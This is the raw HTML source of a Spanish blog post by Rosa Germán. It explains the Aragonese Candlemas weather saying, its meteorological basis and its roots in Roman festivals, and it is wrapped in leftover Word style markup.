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  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;69&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium Grid 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;70&quot; SemiHidden=&quot;false&quot;
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  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;64&quot; SemiHidden=&quot;false&quot;
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  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;29&quot; SemiHidden=&quot;false&quot;
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  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;30&quot; SemiHidden=&quot;false&quot;
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  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;71&quot; SemiHidden=&quot;false&quot;
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  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;72&quot; SemiHidden=&quot;false&quot;
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   UnhideWhenUsed=&quot;false&quot; Name=&quot;Light List Accent 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;62&quot; SemiHidden=&quot;false&quot;
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   UnhideWhenUsed=&quot;false&quot; Name=&quot;Colorful Grid Accent 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;60&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Light Shading Accent 3&quot;/&gt;
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 &lt;/w:LatentStyles&gt;
&lt;/xml&gt;&lt;![endif]--&gt;&lt;!--[if gte mso 10]&gt;
&lt;style&gt;
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	{mso-style-name:&quot;Tabla normal&quot;;
	mso-tstyle-rowband-size:0;
	mso-tstyle-colband-size:0;
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&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/h2&gt;&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: center;&quot;&gt;&lt;span style=&quot;font-family: arial;&quot;&gt;&lt;b style=&quot;mso-bidi-font-weight: normal;&quot;&gt;&lt;i style=&quot;mso-bidi-font-style: normal;&quot;&gt;&quot;Cuan la Candelera plora, l’ibierno ya ye fora&quot;&lt;/i&gt;&lt;/b&gt; &lt;span style=&quot;font-size: medium;&quot;&gt;&lt;b&gt;&lt;span&gt;&lt;sup&gt;&lt;span style=&quot;color: red; line-height: 115%;&quot;&gt;1&lt;/span&gt;&lt;/sup&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;

&lt;h2 style=&quot;text-align: center;&quot;&gt;&lt;span style=&quot;font-family: arial;&quot;&gt;&lt;/span&gt;&lt;/h2&gt;&lt;/div&gt;&lt;span style=&quot;font-family: arial;&quot;&gt;

&lt;/span&gt;&lt;p class=&quot;MsoNormal&quot; style=&quot;line-height: normal; margin-bottom: 0cm; text-align: justify;&quot;&gt;&lt;span style=&quot;font-family: arial;&quot;&gt;&lt;span style=&quot;color: black; font-size: 13.5pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;; mso-fareast-language: ES;&quot;&gt;También en otras culturas el 2 de febrero se ha usado para predecir el
tiempo, recordemos el &lt;b&gt;&lt;i&gt;Día de la Marmota&lt;/i&gt;&lt;/b&gt;, que se celebra en EE.UU. (Pensilvania)
y Canadá, tradición importada de la Europa occidental, que fue
&amp;nbsp;inmortalizada en la divertida película &lt;i&gt;Atrapado en el&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: black; font-size: 13.5pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;; mso-fareast-language: ES;&quot;&gt;&lt;i&gt;&lt;span style=&quot;color: black; font-size: 13.5pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;; mso-fareast-language: ES;&quot;&gt;&lt;i&gt;tiempo&lt;/i&gt;.&lt;/span&gt; &lt;/i&gt;&amp;nbsp;
&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;span style=&quot;font-family: arial;&quot;&gt;&lt;span style=&quot;color: black; font-size: 13.5pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;; mso-fareast-language: ES;&quot;&gt;&lt;table cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;float: left;&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhFZIYG3vAIUurFz2WZXQnDD4L1pzy75D7yFZ-JQ4Vhn5BwqOwlNMMKFyK7W0BtAtd4MDk-KBUX_i-WfiQ4duDcfBCXUuSxFsyR4WAaJQlooViEVwzDWlDwnL2dNN82xApRw6ShOsjjZHlB/s1000/Marmota.jpg&quot; style=&quot;clear: left; margin-bottom: 1em; margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;787&quot; data-original-width=&quot;1000&quot; height=&quot;246&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhFZIYG3vAIUurFz2WZXQnDD4L1pzy75D7yFZ-JQ4Vhn5BwqOwlNMMKFyK7W0BtAtd4MDk-KBUX_i-WfiQ4duDcfBCXUuSxFsyR4WAaJQlooViEVwzDWlDwnL2dNN82xApRw6ShOsjjZHlB/w312-h246/Marmota.jpg&quot; width=&quot;312&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;Marmota en Panticosa (Pirineo Aragonés)&lt;br /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/span&gt;&lt;span style=&quot;color: black; font-size: 13.5pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;; mso-fareast-language: ES;&quot;&gt;&lt;span style=&quot;color: black; font-size: 13.5pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;; mso-fareast-language: ES;&quot;&gt;Y tiene su por qué, las gentes del campo basaban sus conocimientos en la
observación, por eso a primeros de febrero, que es cuando se alcanza la mitad
del invierno, intentaban &lt;/span&gt;predecir el tiempo para saber como afectaría a sus cosechas.
Hoy, por medio de la meteorología, sabemos que en la península Ibérica las
altas presiones son características del pleno invierno, causando heladas y
nieblas persistentes en las tierras bajas, e impidiendo que los húmedos frentes&lt;span style=&quot;color: #cc0000;&quot;&gt;&lt;b&gt;&lt;sup&gt;2&lt;/sup&gt;&lt;/b&gt;&lt;/span&gt;,
provenientes del Atlántico, barran el oeste de Europa. Por eso, la lluvia a
primeros de febrero es un claro signo de la retirada del anticiclón, dejando
así paso a los frentes que suavizan las temperaturas, con lo cual termina el
frío intenso. Es decir, el refrán tiene razón, si llueve a primeros de febrero
es porque el anticiclón se ha ido y con la lluvia las temperaturas se moderan,
y si la marmota &lt;i&gt;Phil&lt;/i&gt;, no ve su sombra es porque está nublado y lloverá.&lt;/span&gt;

&lt;/span&gt;&lt;p class=&quot;MsoNormal&quot; style=&quot;line-height: normal; margin-bottom: 0cm; text-align: justify;&quot;&gt;&lt;span style=&quot;font-family: arial;&quot;&gt;&lt;span style=&quot;color: black; font-size: 13.5pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;; mso-fareast-language: ES;&quot;&gt;Pero esta coincidencia de fechas y predicción tiene su por qué, ambas
parten de la celebración cristiana del día de la Virgen de la Candelaria, que
hunde sus raíces en las antiguas celebraciones paganas de los antiquísimos
calendarios celtas con sus cultos y rituales relacionadas con el aumento de luz
solar&lt;span style=&quot;color: red;&quot;&gt;&lt;b&gt;&lt;sup&gt;3&lt;/sup&gt;&lt;/b&gt;&lt;/span&gt; y en el mundo mediterráneo con la celebración de las &lt;i&gt;Lupercalia&lt;/i&gt;
romanas dedicadas a la fertilidad y purificación, que tenían lugar a mediados
de febrero, durante las cuales se realizaban ceremonias, ritos y desfiles
procesionales para alcanzar ese fin, así como con la llamada &lt;i&gt;Februa&lt;/i&gt;&lt;span style=&quot;color: red;&quot;&gt;&lt;b&gt;&lt;sup&gt;4&lt;/sup&gt;&lt;/b&gt;&lt;/span&gt;,
de donde deriva el nombre de este mes&lt;span style=&quot;color: red;&quot;&gt;&lt;b&gt;&lt;sup&gt;5&lt;/sup&gt;&lt;/b&gt;&lt;/span&gt;.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;span style=&quot;font-family: arial;&quot;&gt;

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concretamente hasta el año 494, momento en que el papa Gelasio I&lt;span style=&quot;color: red;&quot;&gt;&lt;b&gt;&lt;sup&gt;6&lt;/sup&gt;&lt;/b&gt;&lt;/span&gt;
prohibió las &lt;i&gt;Lupercalia &lt;/i&gt;sustituyéndolas por la fiesta cristiana de la
Purificación, celebrada el 2 de febrero con procesiones en las que se portaban
velas como símbolo de la luz santa que guía por el buen camino. Más tarde, la
Iglesia unió a esta fiesta la de la Presentación de Jesús en el Templo. &lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-family: arial;&quot;&gt;

&lt;/span&gt;&lt;p class=&quot;MsoNormal&quot; style=&quot;line-height: normal; margin-bottom: 0cm; text-align: justify;&quot;&gt;&lt;span style=&quot;font-family: arial;&quot;&gt;&lt;span style=&quot;color: black; font-size: 13.5pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;; mso-fareast-language: ES;&quot;&gt;En época de nuestros abuelos, en la festividad de la Candelaria seguían
realizándose procesiones en las que los fieles portaban velas bendecidas en la
misa de ese día. En Aragón &lt;/span&gt;&lt;span style=&quot;color: black; font-size: 13.5pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;; mso-fareast-language: ES;&quot;&gt;&lt;span style=&quot;color: black; font-size: 13.5pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;; mso-fareast-language: ES;&quot;&gt;esas velas se guardaban en los hogares y en los
momentos de las temidas tormentas se encendían para protegerse de ellas.
Todavía hoy, en las misas de este día, se encienden y bendicen las velas.&amp;nbsp; &lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;span style=&quot;font-family: arial;&quot;&gt;

&lt;/span&gt;&lt;p class=&quot;MsoNormal&quot; style=&quot;line-height: normal; margin-bottom: 0cm; text-align: justify;&quot;&gt;&lt;span style=&quot;font-family: arial;&quot;&gt;&lt;/span&gt;&lt;/p&gt;&lt;span style=&quot;font-family: arial;&quot;&gt;

&lt;/span&gt;&lt;p class=&quot;MsoNormal&quot; style=&quot;line-height: normal; margin-bottom: 0cm; text-align: justify;&quot;&gt;&lt;span style=&quot;font-family: arial;&quot;&gt;&lt;span style=&quot;color: black; font-size: 13.5pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;; mso-fareast-language: ES;&quot;&gt;La Candelaria sigue celebrándose en muchos puntos de España, especialmente
en Canarias donde es la patrona del archipiélago, en Tenerife la Procesión de
Las Candelas es uno de los &lt;/span&gt;&lt;span style=&quot;color: black; font-size: 13.5pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;; mso-fareast-language: ES;&quot;&gt;&lt;span style=&quot;color: black; font-size: 13.5pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;; mso-fareast-language: ES;&quot;&gt;principales actos de sus fiestas.&amp;nbsp; &lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;span style=&quot;font-family: arial;&quot;&gt;&lt;span style=&quot;color: black; font-size: 13.5pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;; mso-fareast-language: ES;&quot;&gt;También se conmemora en América (muchas veces fusionada con costumbres
prehispánicas) tradición que llegó de nuestra mano como muchas otras.&lt;/span&gt;

&lt;/span&gt;&lt;p class=&quot;MsoNormal&quot; style=&quot;line-height: normal; margin-bottom: 0cm; text-align: justify;&quot;&gt;&lt;span style=&quot;font-family: arial;&quot;&gt;&lt;span style=&quot;color: black; font-size: 13.5pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;; mso-fareast-language: ES;&quot;&gt;Hoy es 2 de febrero, sucesivos frentes barren la Península Ibérica de oeste a este dejando lluvia allí por dónde pasan:&amp;nbsp; &lt;i&gt;&lt;b&gt;la&lt;/b&gt;&lt;/i&gt; &lt;b style=&quot;mso-bidi-font-weight: normal;&quot;&gt;&lt;i&gt;Candelera plora.&lt;/i&gt; &lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;span style=&quot;font-family: arial;&quot;&gt;

&lt;/span&gt;&lt;p class=&quot;MsoNormal&quot; style=&quot;line-height: normal; margin-bottom: 0cm; text-align: justify;&quot;&gt;&lt;span style=&quot;font-family: arial;&quot;&gt;&lt;span style=&quot;color: black; font-size: 13.5pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;; mso-fareast-language: ES;&quot;&gt;Y entonces preguntamos:&lt;b style=&quot;mso-bidi-font-weight: normal;&quot;&gt; ¿&lt;i&gt;l’ibierno
ya ye fora&lt;/i&gt;&lt;i style=&quot;mso-bidi-font-style: normal;&quot;&gt;?&lt;/i&gt;&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;span style=&quot;font-family: arial;&quot;&gt;

&lt;/span&gt;&lt;p align=&quot;right&quot; class=&quot;MsoNormal&quot; style=&quot;line-height: normal; margin-bottom: 0cm; text-align: right;&quot;&gt;&lt;span style=&quot;font-family: arial;&quot;&gt;&lt;i&gt;&lt;span style=&quot;color: black; font-size: 12pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;; mso-fareast-language: ES;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/i&gt;&lt;/span&gt;&lt;/p&gt;&lt;span style=&quot;font-family: arial;&quot;&gt;

&lt;/span&gt;&lt;h2 class=&quot;MsoNormal&quot; style=&quot;line-height: normal; margin-bottom: 0.0001pt; text-align: right;&quot;&gt;&lt;span style=&quot;font-family: arial;&quot;&gt;&lt;i&gt;&lt;span style=&quot;color: black; font-size: 12pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;; mso-fareast-language: ES;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;font-size: small;&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;font-weight: normal;&quot;&gt;&amp;nbsp;&lt;span style=&quot;font-size: medium;&quot;&gt;
Rosa Germán&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/i&gt;&lt;/span&gt;&lt;/h2&gt;&lt;span style=&quot;font-family: arial;&quot;&gt;_________________________________________________________________________&lt;/span&gt;&lt;p class=&quot;MsoNormal&quot; style=&quot;line-height: normal; margin-bottom: 6pt; text-align: justify; text-indent: -14.2pt;&quot;&gt;

&lt;/p&gt;&lt;p class=&quot;MsoNormal&quot; style=&quot;line-height: normal; margin-bottom: 6pt; text-align: justify; text-indent: -14.2pt;&quot;&gt;&lt;span style=&quot;font-family: arial;&quot;&gt;&lt;span style=&quot;color: #990033; font-size: 12pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;; mso-fareast-language: ES;&quot;&gt;1. &lt;i&gt;La Candelera&lt;/i&gt; hace referencia a la festividad de la Virgen de la
Candelaria, que se celebra el 2 de febrero. En aragonés, &lt;i&gt;Plora &lt;/i&gt;es una
forma verbal del verbo&lt;i&gt; plorar &lt;/i&gt;= llorar, del verbo latino &lt;i&gt;ploro &lt;/i&gt;(llorar,
sollozar). Aquí está usado figuradamente en lugar del &lt;i&gt;plebe&lt;/i&gt;=llueve, del
verbo &lt;i&gt;pleber&lt;/i&gt;, para que rime con &lt;i&gt;fora=fuera. &lt;/i&gt;Es decir, “Cuando la
Candelaria llora, el invierno ya está fuera”.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;span style=&quot;font-family: arial;&quot;&gt;

&lt;/span&gt;&lt;p class=&quot;MsoNormal&quot; style=&quot;line-height: normal; margin-bottom: 6pt; text-align: justify; text-indent: -14.2pt;&quot;&gt;&lt;span style=&quot;font-family: arial;&quot;&gt;&lt;span style=&quot;color: #990033; font-size: 12pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;; mso-fareast-language: ES;&quot;&gt;2. En meteorología, un frente es la superficie de contacto entre dos masas
de aire, una fría y otra&amp;nbsp; caliente, en la que se forman perturbaciones,
originando sistemas nubosos y lluvias. El frente polar del Atlántico Norte
juega un importantísimo papel en el clima de Europa Occidental. &lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;span style=&quot;font-family: arial;&quot;&gt;

&lt;/span&gt;&lt;p class=&quot;MsoNormal&quot; style=&quot;line-height: normal; margin-bottom: 6pt; text-align: justify; text-indent: -14.2pt;&quot;&gt;&lt;span style=&quot;font-family: arial;&quot;&gt;&lt;span style=&quot;color: #990033; font-size: 12pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;; mso-fareast-language: ES;&quot;&gt;3. En torno al 3 de febrero, día de San Blas, la luz solar ha aumentado 1
hora desde el solsticio del invierno. Ya lo dice el refrán: &lt;i&gt;Por san Blas
hora más&lt;/i&gt;.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;span style=&quot;font-family: arial;&quot;&gt;

&lt;/span&gt;&lt;p class=&quot;MsoNormal&quot; style=&quot;line-height: normal; margin-bottom: 6pt; text-align: justify; text-indent: -14.2pt;&quot;&gt;&lt;span style=&quot;font-family: arial;&quot;&gt;&lt;span style=&quot;color: #990033; font-size: 12pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;; mso-fareast-language: ES;&quot;&gt;4. Februus era un dios sabino, deidad de la purificación y de los muertos.
En el mundo romano &lt;i&gt;Februa&lt;/i&gt; era el festival de la purificación,
relacionado con el agua y posiblemente con las lluvias de ésta época del año.
Más tarde, esta festividad se unió a la &lt;i&gt;Lupercalia&lt;/i&gt;. &lt;i&gt;&amp;nbsp;&lt;/i&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;span style=&quot;font-family: arial;&quot;&gt;

&lt;/span&gt;&lt;p class=&quot;MsoNormal&quot; style=&quot;line-height: normal; margin-bottom: 6pt; text-align: justify; text-indent: -14.2pt;&quot;&gt;&lt;span style=&quot;font-family: arial;&quot;&gt;&lt;span style=&quot;color: #990033; font-size: 12pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;; mso-fareast-language: ES;&quot;&gt;5. Febrero era el mes en el que se purificaba la ciudad. Se hacían
sacrificios y ofrendas a los muertos para conseguir su benevolencia, era el mes
de las purificaciones.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;span style=&quot;font-family: arial;&quot;&gt;

&lt;/span&gt;&lt;p class=&quot;MsoNormal&quot; style=&quot;line-height: normal; margin-bottom: 6pt; text-align: justify; text-indent: -14.2pt;&quot;&gt;&lt;span style=&quot;font-family: arial;&quot;&gt;&lt;span style=&quot;color: #990033; font-size: 12pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;; mso-fareast-language: ES;&quot;&gt;6. Gelasio I tuvo un
breve pontificado (494 al 496) durante el cual &amp;nbsp;realizó importantes
cambios en la Iglesia&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class=&quot;MsoNormal&quot; style=&quot;line-height: normal; margin-bottom: 6pt; text-align: justify; text-indent: -14.2pt;&quot;&gt;&lt;!--[if gte mso 9]&gt;&lt;xml&gt;
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  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;71&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Colorful Shading Accent 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;72&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Colorful List Accent 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;73&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Colorful Grid Accent 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;60&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Light Shading Accent 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;61&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Light List Accent 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;62&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Light Grid Accent 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;63&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium Shading 1 Accent 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;64&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium Shading 2 Accent 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;65&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium List 1 Accent 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;66&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium List 2 Accent 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;67&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium Grid 1 Accent 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;68&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium Grid 2 Accent 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;69&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium Grid 3 Accent 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;70&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Dark List Accent 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;71&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Colorful Shading Accent 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;72&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Colorful List Accent 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;73&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Colorful Grid Accent 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;60&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Light Shading Accent 4&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;61&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Light List Accent 4&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;62&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Light Grid Accent 4&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;63&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium Shading 1 Accent 4&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;64&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium Shading 2 Accent 4&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;65&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium List 1 Accent 4&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;66&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium List 2 Accent 4&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;67&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium Grid 1 Accent 4&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;68&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium Grid 2 Accent 4&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;69&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium Grid 3 Accent 4&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;70&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Dark List Accent 4&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;71&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Colorful Shading Accent 4&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;72&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Colorful List Accent 4&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;73&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Colorful Grid Accent 4&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;60&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Light Shading Accent 5&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;61&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Light List Accent 5&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;62&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Light Grid Accent 5&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;63&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium Shading 1 Accent 5&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;64&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium Shading 2 Accent 5&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;65&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium List 1 Accent 5&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;66&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium List 2 Accent 5&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;67&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium Grid 1 Accent 5&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;68&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium Grid 2 Accent 5&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;69&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium Grid 3 Accent 5&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;70&quot; SemiHidden=&quot;false&quot;
